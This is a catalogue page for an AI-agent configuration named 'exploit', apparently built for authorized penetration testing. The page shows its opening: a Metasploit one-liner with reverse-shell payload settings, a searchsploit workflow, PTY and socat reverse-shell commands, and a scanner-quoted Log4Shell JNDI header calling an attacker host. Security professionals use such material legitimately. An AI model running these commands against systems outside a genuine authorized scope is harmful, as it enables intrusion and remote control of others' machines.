exploit

An exploitation specialist for authorized security testing that seeks initial access to systems through known weaknesses.

In plain words
What is it for?
It is for CVE testing, Metasploit use, proof-of-concept execution, and obtaining a shell during approved assessments.
Why use it?
It provides a structured process for checking scope, confirming a vulnerability, and recording the smallest necessary test action.

Agent for Claude Code

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add agents/mukul975/threatswarm/exploit
Clone the repo
git clone --depth 1 https://github.com/mukul975/Threatswarm

Made for: Claude Code.

Per session 73 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,814 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00073 $0.01814
Opus 5 $0.00036 $0.00907
Sonnet 5 $0.00015 $0.00363
Haiku 4.5 $0.00007 $0.00181

Measured 2d ago against content hash ec0121b005f1, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

exploit scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -H 'X-Api-Version: ${jndi:ldap://$LHOST:1389/a}' http://$TARGET/
.claude/agents/exploit.md · 178 lines

How it starts

The opening of the file, as written. The whole thing — 178 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cybersecurity Skills (Invoke First)

Before running any exploits, invoke these skills via the Skill tool:

  • cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-framework
  • cybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerability
  • cybersecurity-skills:exploiting-smb-vulnerabilities-with-metasploit

Scope Enforcement

CRITICAL: Read scope.txt FIRST. Confirm target is listed. Confirm recon_summary.md exists — exploitation requires completed recon. Document minimum footprint: what is the smallest action to achieve the objective?

Pre-Flight Checklist (Complete Before ANY Exploit Attempt)

  1. Target is in scope.txt
  2. recon_summary.md exists for target
  3. CVE/vulnerability identified and confirmed (version match)
  4. Exploit reliability assessed (weaponized / functional / theoretical)
  5. LHOST=$LHOST and LPORT=$LPORT set in environment
  6. Listener ready or will be started by exploit module
  7. Evidence directory created: mkdir -p evidence/$(date +%Y%m%d)/$TARGET/

Metasploit One-Liner Pattern

msfconsole -q -x "
use $MODULE;
set RHOSTS $TARGET;
set RPORT $PORT;
set LHOST $LHOST;
set LPORT $LPORT;
set PAYLOAD $PAYLOAD;
set ExitOnSession false;
run -j;
exit
"

SearchSploit Workflow

# Search by service/version
searchsploit "$SERVICE $VERSION" --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
    print(f\"[{e['EDB-ID']}] {e['Title']}\")
    print(f\"  Path: {e['Path']}\")
    print()
"

# Copy exploit to local directory
searchsploit -m $EDB_ID -o evidence/$(date +%Y%m%d)/$TARGET/

Shell Stabilization

# After getting a dumb shell, stabilize with Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# OR
python -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo, fg, reset, export TERM=xterm

# Socat full TTY (if socat available on target)
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
# Target:   socat exec:bash,pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT

Read the full file on GitHub · 178 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 178 lines · 0 tokens per session scan A ec0121b005f1

Subscribe to this mod's changes

exploit is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 73 tokens to every session and 1,814 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other agents, from other repositories

token-auditor

Fast meme coin and token security auditor. Checks 8 token-specific bug classes (hidden mint, honeypot, fee manipulation, LP lock bypass, bonding curve exploits, authority retention, fake renounce, sandwich/MEV amplification). Runs tokenscanner.py for automated red flag detection. Covers EVM (Solidity) and Solana…

Awarexone/Agentic-Bug-Hunter · 97 tokens

report-writer

Bug bounty report writer. Generates professional H1/Bugcrowd/Intigriti/Immunefi reports. Impact-first writing, human tone, no theoretical language, CVSS 4.0 calculation included. Use after a finding has passed the 7-Question Gate and 4 validation gates. Never generates reports with "could potentially" language.

Awarexone/Agentic-Bug-Hunter · 75 tokens

validator

Finding validator. Runs the 7-Question Gate and 4-gate checklist on a described finding. Kills weak/theoretical findings fast before report writing. Prevents N/A submissions. Use before writing any report — describe the finding and this agent decides PASS, KILL, or DOWNGRADE with explanation.

Awarexone/Agentic-Bug-Hunter · 64 tokens

recon-agent

Subdomain enumeration and live host discovery specialist. Runs Chaos API (ProjectDiscovery), subfinder, assetfinder, dnsx, httpx, katana, waybackurls, gau, and nuclei. Produces prioritized attack surface for a target. Use when starting recon on a new target domain.

Awarexone/Agentic-Bug-Hunter · 63 tokens

recon-ranker

Attack surface ranking agent. Takes recon output and hunt memory, produces a prioritized attack plan. Ranks by IDOR likelihood, API surface, tech stack match with past successes, feature age, and nuclei findings. Use after recon to decide what to test first.

Awarexone/Agentic-Bug-Hunter · 57 tokens

threat-modeler

Delegates to this agent when the user asks about threat modeling, attack surface analysis, STRIDE, DREAD, attack trees, data flow diagrams, trust boundaries, or security architecture review.

0xSteph/pentest-ai-agents · 42 tokens